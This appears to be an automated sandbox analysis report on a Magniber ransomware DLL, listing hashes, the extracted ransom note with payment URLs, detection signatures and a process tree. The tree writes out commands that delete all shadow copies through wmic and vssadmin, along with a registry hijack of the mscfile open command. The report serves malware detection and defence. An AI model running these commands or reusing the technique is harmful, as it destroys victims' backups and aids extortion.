magniber | 8ab78bc8884b9de573a3dc19e7fc206e925f643aee3f152d19e8d1caa90b6312

Analysis

max time kernel
117s
max time network
118s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
25-02-2024 13:29

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

a3e7152abd213f303c1561aa20ed9cea.dll
Size

38KB
MD5

a3e7152abd213f303c1561aa20ed9cea
SHA1

0cfb6ac5f567c4dd3e9ebe741c2b8b0e19cb243e
SHA256

8ab78bc8884b9de573a3dc19e7fc206e925f643aee3f152d19e8d1caa90b6312
SHA512

854dad9d639cb4c9860c7dcd2d1bb7204ce3efe0a5bc0521d37a61e7ef3787a8334620d718ec2abdbbd077122c008273ce29cf1382af45d8411c431f5cf2e777
SSDEEP

768:bL2WWrr4WdC5pqndJgr8q39GGL3RqL9Q1VW028JQyt3uh11yCg:GdC5pqndJIHtGCE9Q1rRxIM

Score

10^/10

magniber ransomware

Malware Config

Extracted

Path

C:\Users\Admin\Pictures\readme.txt

Family

magniber

Ransom Note

ALL YOUR DOCUMENTS PHOTOS DATABASES AND OTHER IMPORTANT FILES HAVE BEEN ENCRYPTED! ==================================================================================================== Your files are NOT damaged! Your files are modified only. This modification is reversible. The only 1 way to decrypt your files is to receive the private key and decryption program. Any attempts to restore your files with the third party software will be fatal for your files! ==================================================================================================== To receive the private key and decryption program follow the instructions below: 1. Download "Tor Browser" from https://www.torproject.org/ and install it. 2. In the "Tor Browser" open your personal page here: http://62b0e2386eb4e6a07sabwrkkob.grv4f55lyxu36y26o4orfzy7vmwiljcruko6r7q4tatxvjugg4j66lid.onion/sabwrkkob Note! This page is available via "Tor Browser" only. ==================================================================================================== Also you can use temporary addresses on your personal page without using "Tor Browser": http://62b0e2386eb4e6a07sabwrkkob.hesmust.top/sabwrkkob http://62b0e2386eb4e6a07sabwrkkob.salecup.club/sabwrkkob http://62b0e2386eb4e6a07sabwrkkob.tietill.space/sabwrkkob http://62b0e2386eb4e6a07sabwrkkob.hegame.xyz/sabwrkkob Note! These are temporary addresses! They will be available for a limited amount of time!

URLs

http://62b0e2386eb4e6a07sabwrkkob.grv4f55lyxu36y26o4orfzy7vmwiljcruko6r7q4tatxvjugg4j66lid.onion/sabwrkkob

http://62b0e2386eb4e6a07sabwrkkob.hesmust.top/sabwrkkob

http://62b0e2386eb4e6a07sabwrkkob.salecup.club/sabwrkkob

http://62b0e2386eb4e6a07sabwrkkob.tietill.space/sabwrkkob

http://62b0e2386eb4e6a07sabwrkkob.hegame.xyz/sabwrkkob

Signatures

Detect magniber ransomware 2 IoCs

resource	yara_rule
behavioral1/memory/2196-1-0x0000000002040000-0x0000000002689000-memory.dmp	family_magniber
behavioral1/memory/1124-16-0x0000000000160000-0x0000000000165000-memory.dmp	family_magniber

Magniber Ransomware
Ransomware family widely seen in Asia being distributed by the Magnitude exploit kit.
ransomware magniber

Process spawned unexpected child process 12 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2464	2636	cmd.exe	42
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2888	2636	cmd.exe	42
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2576	2636	vssadmin.exe	42
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2440	2636	vssadmin.exe	42
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1444	2636	vssadmin.exe	42
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1448	2636	vssadmin.exe	42
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1508	2636	vssadmin.exe	42
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	228	2636	cmd.exe	42
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2956	2636	vssadmin.exe	42
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2604	2636	vssadmin.exe	42
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	888	2636	cmd.exe	42
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2220	2636	vssadmin.exe	42

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490
Renames multiple (84) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 2196 set thread context of 1124	2196	rundll32.exe	18
PID 2196 set thread context of 1184	2196	rundll32.exe	11
PID 2196 set thread context of 1224	2196	rundll32.exe	17
PID 2196 set thread context of 632	2196	rundll32.exe	12

Interacts with shadow copies 2 TTPs 8 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
2604	vssadmin.exe
2220	vssadmin.exe
2576	vssadmin.exe
2440	vssadmin.exe
1444	vssadmin.exe
1448	vssadmin.exe
1508	vssadmin.exe
2956	vssadmin.exe

Modifies Internet Explorer settings 1 TTPs 34 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{EBBEBB81-D3E1-11EE-B5E8-DE62917EBCA6} = "0"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "415029645"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Microsoft\Internet Explorer\SearchScopes	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e861098c19b4244d8627ee4664a96069000000000200000000001066000000010000200000007b907faf4c5be8bb624c1c423f922922beda6a84a0426ea576181198828eee6f000000000e80000000020000200000007046364462300ed371271fb3dfdda4c2c74b6beca7a1d0541cc69010ed810d69200000000f68fb1814b4f74e282caf68d4f67991022bc3de2135e2a8911bef1409fde1294000000004ccf97111759d622f68579428d199f143e6aeb58dc56eaa5421ac04b117933a31fed5493af298b5322f93e1dfd111e4dad5b8fcdabefcae0a7b973057a0e043	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e861098c19b4244d8627ee4664a9606900000000020000000000106600000001000020000000db5bd32d5cbdf804c4769e659c22ae0cddd3425b0849d307bb81f8b8a5e3b40c000000000e80000000020000200000007e9ca597a02641266d1940295c13f3b4ca3e30643b4401b16803da7e93e74a1090000000418b2dfee11e934f5b957be8a7bc9ac5f7e0e115dc67563dc3414b3fa1479b071548e44abae0cd9ae5bfff11e00a14aa7fa9a37d22d4c47f64a160ca97929c12e88c99fd276ca9793470cd4e16dff48ee7eabcf97a9195a19faa675129778d188a25ebf17ea24354505aa47e7fbddcb4d9e70158a1dd7e8319c31e32cec1e19697e2e449c93b5ee15b196b6c495420e24000000087b5b015c0c7d3d2a36d5e4b95c32bd9a9702b1c48772b1f0cc6a66b27ef3e27b989df96f3a3390c9ee8cf64d124388e14d90fcb388b9d72310a20e302290efa	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "1"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 909389c0ee67da01	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Microsoft\Internet Explorer\SearchScopes\DownloadRetries = "3"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe

Modifies registry class 11 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000_CLASSES\mscfile\shell\open\command	taskhost.exe
Key created	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000_CLASSES\mscfile\shell\open	taskhost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	taskhost.exe
Key created	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000_CLASSES\mscfile\shell\open\command	Dwm.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	Dwm.exe
Key created	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000_CLASSES\mscfile\shell\open\command	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000_CLASSES\mscfile\shell\open\command	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000_CLASSES\mscfile	taskhost.exe
Key created	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000_CLASSES\mscfile\shell	taskhost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	Explorer.EXE

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
1668	notepad.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2196	rundll32.exe
2196	rundll32.exe

Suspicious behavior: MapViewOfSection 4 IoCs

pid	Process
2196	rundll32.exe
2196	rundll32.exe
2196	rundll32.exe
2196	rundll32.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	1224	Explorer.EXE
Token: SeShutdownPrivilege	1224	Explorer.EXE
Token: SeIncreaseQuotaPrivilege	3028	wmic.exe
Token: SeSecurityPrivilege	3028	wmic.exe
Token: SeTakeOwnershipPrivilege	3028	wmic.exe
Token: SeLoadDriverPrivilege	3028	wmic.exe
Token: SeSystemProfilePrivilege	3028	wmic.exe
Token: SeSystemtimePrivilege	3028	wmic.exe
Token: SeProfSingleProcessPrivilege	3028	wmic.exe
Token: SeIncBasePriorityPrivilege	3028	wmic.exe
Token: SeCreatePagefilePrivilege	3028	wmic.exe
Token: SeBackupPrivilege	3028	wmic.exe
Token: SeRestorePrivilege	3028	wmic.exe
Token: SeShutdownPrivilege	3028	wmic.exe
Token: SeDebugPrivilege	3028	wmic.exe
Token: SeSystemEnvironmentPrivilege	3028	wmic.exe
Token: SeRemoteShutdownPrivilege	3028	wmic.exe
Token: SeUndockPrivilege	3028	wmic.exe
Token: SeManageVolumePrivilege	3028	wmic.exe
Token: 33	3028	wmic.exe
Token: 34	3028	wmic.exe
Token: 35	3028	wmic.exe
Token: SeShutdownPrivilege	1224	Explorer.EXE
Token: SeShutdownPrivilege	1224	Explorer.EXE
Token: SeIncreaseQuotaPrivilege	2260	WMIC.exe
Token: SeSecurityPrivilege	2260	WMIC.exe
Token: SeTakeOwnershipPrivilege	2260	WMIC.exe
Token: SeLoadDriverPrivilege	2260	WMIC.exe
Token: SeSystemProfilePrivilege	2260	WMIC.exe
Token: SeSystemtimePrivilege	2260	WMIC.exe
Token: SeProfSingleProcessPrivilege	2260	WMIC.exe
Token: SeIncBasePriorityPrivilege	2260	WMIC.exe
Token: SeCreatePagefilePrivilege	2260	WMIC.exe
Token: SeBackupPrivilege	2260	WMIC.exe
Token: SeRestorePrivilege	2260	WMIC.exe
Token: SeShutdownPrivilege	2260	WMIC.exe
Token: SeDebugPrivilege	2260	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2260	WMIC.exe
Token: SeRemoteShutdownPrivilege	2260	WMIC.exe
Token: SeUndockPrivilege	2260	WMIC.exe
Token: SeManageVolumePrivilege	2260	WMIC.exe
Token: 33	2260	WMIC.exe
Token: 34	2260	WMIC.exe
Token: 35	2260	WMIC.exe
Token: SeShutdownPrivilege	1224	Explorer.EXE
Token: SeIncreaseQuotaPrivilege	2032	wmic.exe
Token: SeSecurityPrivilege	2032	wmic.exe
Token: SeTakeOwnershipPrivilege	2032	wmic.exe
Token: SeLoadDriverPrivilege	2032	wmic.exe
Token: SeSystemProfilePrivilege	2032	wmic.exe
Token: SeSystemtimePrivilege	2032	wmic.exe
Token: SeProfSingleProcessPrivilege	2032	wmic.exe
Token: SeIncBasePriorityPrivilege	2032	wmic.exe
Token: SeCreatePagefilePrivilege	2032	wmic.exe
Token: SeBackupPrivilege	2032	wmic.exe
Token: SeRestorePrivilege	2032	wmic.exe
Token: SeShutdownPrivilege	2032	wmic.exe
Token: SeDebugPrivilege	2032	wmic.exe
Token: SeSystemEnvironmentPrivilege	2032	wmic.exe
Token: SeRemoteShutdownPrivilege	2032	wmic.exe
Token: SeUndockPrivilege	2032	wmic.exe
Token: SeManageVolumePrivilege	2032	wmic.exe
Token: 33	2032	wmic.exe
Token: 34	2032	wmic.exe

Suspicious use of FindShellTrayWindow 7 IoCs

pid	Process
2640	iexplore.exe
1224	Explorer.EXE
1224	Explorer.EXE
1224	Explorer.EXE
1224	Explorer.EXE
1224	Explorer.EXE
1224	Explorer.EXE

Suspicious use of SendNotifyMessage 3 IoCs

pid	Process
1224	Explorer.EXE
1224	Explorer.EXE
1224	Explorer.EXE

Suspicious use of SetWindowsHookEx 6 IoCs

pid	Process
2640	iexplore.exe
2640	iexplore.exe
2284	IEXPLORE.EXE
2284	IEXPLORE.EXE
2284	IEXPLORE.EXE
2284	IEXPLORE.EXE

Suspicious use of UnmapMainImage 2 IoCs

pid	Process
1224	Explorer.EXE
1224	Explorer.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1124 wrote to memory of 1668	1124	taskhost.exe	28
PID 1124 wrote to memory of 1668	1124	taskhost.exe	28
PID 1124 wrote to memory of 1668	1124	taskhost.exe	28
PID 1124 wrote to memory of 1964	1124	taskhost.exe	32
PID 1124 wrote to memory of 1964	1124	taskhost.exe	32
PID 1124 wrote to memory of 1964	1124	taskhost.exe	32
PID 1124 wrote to memory of 3028	1124	taskhost.exe	31
PID 1124 wrote to memory of 3028	1124	taskhost.exe	31
PID 1124 wrote to memory of 3028	1124	taskhost.exe	31
PID 1124 wrote to memory of 2840	1124	taskhost.exe	29
PID 1124 wrote to memory of 2840	1124	taskhost.exe	29
PID 1124 wrote to memory of 2840	1124	taskhost.exe	29
PID 2840 wrote to memory of 2260	2840	cmd.exe	38
PID 2840 wrote to memory of 2260	2840	cmd.exe	38
PID 2840 wrote to memory of 2260	2840	cmd.exe	38
PID 1184 wrote to memory of 2032	1184	Dwm.exe	37
PID 1184 wrote to memory of 2032	1184	Dwm.exe	37
PID 1184 wrote to memory of 2032	1184	Dwm.exe	37
PID 1184 wrote to memory of 2160	1184	Dwm.exe	35
PID 1184 wrote to memory of 2160	1184	Dwm.exe	35
PID 1184 wrote to memory of 2160	1184	Dwm.exe	35
PID 2160 wrote to memory of 1968	2160	cmd.exe	40
PID 2160 wrote to memory of 1968	2160	cmd.exe	40
PID 2160 wrote to memory of 1968	2160	cmd.exe	40
PID 1964 wrote to memory of 2640	1964	cmd.exe	41
PID 1964 wrote to memory of 2640	1964	cmd.exe	41
PID 1964 wrote to memory of 2640	1964	cmd.exe	41
PID 2640 wrote to memory of 2284	2640	iexplore.exe	52
PID 2640 wrote to memory of 2284	2640	iexplore.exe	52
PID 2640 wrote to memory of 2284	2640	iexplore.exe	52
PID 2640 wrote to memory of 2284	2640	iexplore.exe	52
PID 2888 wrote to memory of 2700	2888	cmd.exe	54
PID 2888 wrote to memory of 2700	2888	cmd.exe	54
PID 2888 wrote to memory of 2700	2888	cmd.exe	54
PID 2464 wrote to memory of 2628	2464	cmd.exe	55
PID 2464 wrote to memory of 2628	2464	cmd.exe	55
PID 2464 wrote to memory of 2628	2464	cmd.exe	55
PID 2628 wrote to memory of 2228	2628	CompMgmtLauncher.exe	57
PID 2628 wrote to memory of 2228	2628	CompMgmtLauncher.exe	57
PID 2628 wrote to memory of 2228	2628	CompMgmtLauncher.exe	57
PID 2700 wrote to memory of 1900	2700	CompMgmtLauncher.exe	59
PID 2700 wrote to memory of 1900	2700	CompMgmtLauncher.exe	59
PID 2700 wrote to memory of 1900	2700	CompMgmtLauncher.exe	59
PID 2196 wrote to memory of 2324	2196	rundll32.exe	69
PID 2196 wrote to memory of 2324	2196	rundll32.exe	69
PID 2196 wrote to memory of 2324	2196	rundll32.exe	69
PID 2196 wrote to memory of 1656	2196	rundll32.exe	68
PID 2196 wrote to memory of 1656	2196	rundll32.exe	68
PID 2196 wrote to memory of 1656	2196	rundll32.exe	68
PID 1656 wrote to memory of 968	1656	cmd.exe	70
PID 1656 wrote to memory of 968	1656	cmd.exe	70
PID 1656 wrote to memory of 968	1656	cmd.exe	70
PID 228 wrote to memory of 2528	228	cmd.exe	75
PID 228 wrote to memory of 2528	228	cmd.exe	75
PID 228 wrote to memory of 2528	228	cmd.exe	75
PID 2528 wrote to memory of 1456	2528	CompMgmtLauncher.exe	76
PID 2528 wrote to memory of 1456	2528	CompMgmtLauncher.exe	76
PID 2528 wrote to memory of 1456	2528	CompMgmtLauncher.exe	76
PID 1224 wrote to memory of 2632	1224	Explorer.EXE	82
PID 1224 wrote to memory of 2632	1224	Explorer.EXE	82
PID 1224 wrote to memory of 2632	1224	Explorer.EXE	82
PID 1224 wrote to memory of 2588	1224	Explorer.EXE	83
PID 1224 wrote to memory of 2588	1224	Explorer.EXE	83
PID 1224 wrote to memory of 2588	1224	Explorer.EXE	83

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\Dwm.exe
"C:\Windows\system32\Dwm.exe"
1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1184
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2160
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
    3⤵
    PID:1968
- C:\Windows\system32\wbem\wmic.exe
  C:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2032

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:632

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of UnmapMainImage
- Suspicious use of WriteProcessMemory
PID:1224
- C:\Windows\system32\rundll32.exe
  rundll32.exe C:\Users\Admin\AppData\Local\Temp\a3e7152abd213f303c1561aa20ed9cea.dll,#1
  2⤵
  - Suspicious use of SetThreadContext
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of WriteProcessMemory
  PID:2196
- - C:\Windows\system32\cmd.exe
    cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1656
  - - C:\Windows\system32\wbem\WMIC.exe
      C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
      4⤵
      PID:968
- - C:\Windows\system32\wbem\wmic.exe
    C:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:2324
- C:\Windows\system32\wbem\wmic.exe
  C:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"
  2⤵
  PID:2632
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
  2⤵
  PID:2588
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
    3⤵
    PID:2448

C:\Windows\system32\taskhost.exe
"taskhost.exe"
1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1124
- C:\Windows\system32\notepad.exe
  notepad.exe C:\Users\Public\readme.txt
  2⤵
  - Opens file in notepad (likely ransom note)
  PID:1668
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2840
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2260
- C:\Windows\system32\wbem\wmic.exe
  C:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3028
- C:\Windows\system32\cmd.exe
  cmd /c "start http://62b0e2386eb4e6a07sabwrkkob.hesmust.top/sabwrkkob^&2^&39869849^&84^&359^&12"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1964
- - C:\Program Files\Internet Explorer\iexplore.exe
    "C:\Program Files\Internet Explorer\iexplore.exe" http://62b0e2386eb4e6a07sabwrkkob.hesmust.top/sabwrkkob&2&39869849&84&359&12
    3⤵
    - Modifies Internet Explorer settings
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:2640
  - - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
      "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2640 CREDAT:275457 /prefetch:2
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of SetWindowsHookEx
      PID:2284

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2464
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2628
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:2228

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2888
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2700
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:1900

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2576

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2440

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:1840

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:1444

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:1448

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:1508

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:228
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2528
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:1456

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2956

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2604

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
PID:888
